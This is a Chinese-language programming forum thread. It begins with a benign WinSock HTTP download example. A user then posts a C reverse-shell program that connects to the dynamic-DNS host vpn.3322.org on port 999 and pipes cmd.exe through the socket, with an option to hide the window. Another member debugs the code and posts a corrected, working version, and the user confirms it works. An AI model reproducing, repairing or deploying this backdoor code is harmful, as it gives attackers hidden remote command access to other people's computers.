能力值:
( LV12,RANK:200 )
2 楼
给您找了个例子, OK的.
用法和你要的一样, 看下面例子红色的代码行.
改了几个常量,运行后, 可以下载您这个帖子到本地.
附件里有工程,您参考下.
PS: 您贴的示例代码,不能编译通过,让大家不方便帮您试验吧?
void CSimpleTcpClientDlg::DownloadFile()
{
char buff[512];
CString s;
WSADATA wsaData;
struct hostent *hp;
unsigned int addr;
struct sockaddr_in server;
CString servername;
CString filepath;
CString filename;
ParseURL(m_url,servername,filepath,filename);
int wsaret=WSAStartup(0x101,&wsaData);
if(wsaret)
return;
s.Format("Initialized WinSock");
m_list.AddString(s);
SOCKET conn;
conn=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(conn==INVALID_SOCKET)
return;
s.Format("SOCKET created");
m_list.AddString(s);
if(inet_addr(servername)==INADDR_NONE)
{
hp=gethostbyname(servername);
}
else
{
addr=inet_addr(servername);
hp=gethostbyaddr((char*)&addr,sizeof(addr),AF_INET);
}
if(hp==NULL)
{
closesocket(conn);
return;
}
s.Format("hostname/ipaddress resolved");
m_list.AddString(s);
[COLOR="DarkRed"]server.sin_addr.s_addr=*((unsigned long*)hp->h_addr);[/COLOR]
server.sin_family=AF_INET;
server.sin_port=htons(80);
if(connect(conn,(struct sockaddr*)&server,sizeof(server)))
{
closesocket(conn);
return;
}
s.Format("Connected to server :- %s",servername);
m_list.AddString(s);
sprintf(buff,"GET %s\r\n\r\n",filepath);
send(conn,buff,strlen(buff),0);
s.Format("sending command :- GET %s to server",filepath);
m_list.AddString(s);
CFile f;
int y;
CString fname="c:\\";
fname+="test.html"; ///< 临时文件
f.Open(fname,CFile::modeCreate | CFile::modeWrite);
s.Format("starting to receive file");
m_list.AddString(s);
while(y=recv(conn,buff,512,0))
{
f.Write(buff,y);
}
f.Close();
s.Format("File downloaded and saved :- %s",fname);
m_list.AddString(s);
closesocket(conn);
s.Format("SOCKET closed");
m_list.AddString(s);
WSACleanup();
s.Format("De-Initialized WinSock");
m_list.AddString(s);
}
上传的附件:
能力值:
( LV2,RANK:10 )
3 楼
大侠再帮忙看看,好久没接触编程了 偶尔在一本书上看到利用管道建立远程CMD的代码 决定将IP换成域名试试完整代码如下
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "user32.lib")
main(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpszCmdLine,
int nCmdShow )
{
struct hostent *host;
char host_name[100]="vpn.3322.org";
WSADATA wd;
SOCKET sock;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in sin;
unsigned short port = 999; // 监听端口999
host=gethostbyname(host_name);
memset(&si, 0, sizeof(si));
WSAStartup(MAKEWORD( 1,1 ), &wd);
sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = *((unsigned long*)host->h_addr);//换成inet_addr("192.168.1.105");就OK,如果用原来的可以编译通过,但是运行会出错,出现调试界面
while ( connect(sock, (struct sockaddr*)&sin, sizeof (sin)) ) Sleep (30000);
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
//si.wShowWindow=SW_HIDE; //隐藏窗口
si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock; //利用管道技术回显dos命令
CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi ); //建立进程
return 0;
}
能力值:
( LV12,RANK:200 )
4 楼
对照给您找的例子,区别主要在下面红色的代码行.
给您改完了,您试试~
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "user32.lib")
int main(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpszCmdLine,
int nCmdShow )
{
struct hostent * host;
char host_name[100] = "vpn.3322.org";
unsigned int addr;
WSADATA wd;
SOCKET sock;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
struct sockaddr_in sin;
unsigned short port = 999; // 监听端口999
memset(&si, 0, sizeof(si));
WSAStartup(MAKEWORD( 1,1 ), &wd);
sock = WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (INVALID_SOCKET == sock)
return 0;
[COLOR="Red"] if (INADDR_NONE == inet_addr(host_name))
{
host = gethostbyname(host_name);
}
else
{
addr = inet_addr(host_name);
host = gethostbyaddr((char*)&addr,sizeof(addr),AF_INET);
}
if(NULL == host)
{
closesocket(sock);
return 0;
}
[/COLOR]
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
/// 修改前的注释
//换成inet_addr("192.168.1.105");就OK,如果用原来的可以编译通过,但是运行会出错,出现调试界面
sin.sin_addr.s_addr = *((unsigned long*)host->h_addr);
/// 您说的报错,是在这 执行connect 报错吧?
/// 我连不上你的服务端~, 没办法试了~
/// 对照我给您找的例子, 已经修改完了
while ( connect(sock, (struct sockaddr*)&sin, sizeof (sin)) )
{
/// 可以考虑小睡多次,每次小睡中间加点调试信息
/// e.g. 休息30次, 每次一秒, 每休息一次,打印一句
/// _tprintf("i'm sleep, will connent soon\r\n");
/// 防止产生死掉的错觉
Sleep (30000);
}
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
// si.wShowWindow=SW_HIDE; ///< 隐藏窗口
/// 利用管道技术回显dos命令
si.hStdInput = (void *)sock;
si.hStdOutput = (void *)sock;
si.hStdError = (void *)sock;
/// 建立进程
CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, 0, NULL, &si, &pi);
return 0;
}
能力值:
( LV12,RANK:200 )
5 楼
如果原来的Demo能用,我建议您找找资料,写个函数,将域名转成IP, 带入原来的Demo运行。
这样,不影响原来程序的功能,又能保证程序的稳定性.
将"域名转成IP", Windows下的编程资料很好找啊.
能力值:
( LV2,RANK:10 )
6 楼
谢谢你了,已经搞定了,inet_ntoa( *(in_addr*)*(gethostbyname(host_name)->h_addr_list))这样就可以了
能力值:
( LV12,RANK:200 )
7 楼
恭喜您快速搞定问题~
能力值:
( LV2,RANK:10 )
8 楼
Note The gethostbyname function has been deprecated by the introduction of the getaddrinfo function. Developers creating Windows Sockets 2 applications are urged to use the getaddrinfo function instead of gethostbyname.
struct hostent {
char FAR * h_name; /* official name of host */
char FAR * FAR * h_aliases; /* alias list */
short h_addrtype; /* host address type */
short h_length; /* length of address */
char FAR * FAR * h_addr_list; /* list of addresses */
#define h_addr h_addr_list[0] /* address, for backward compat */
};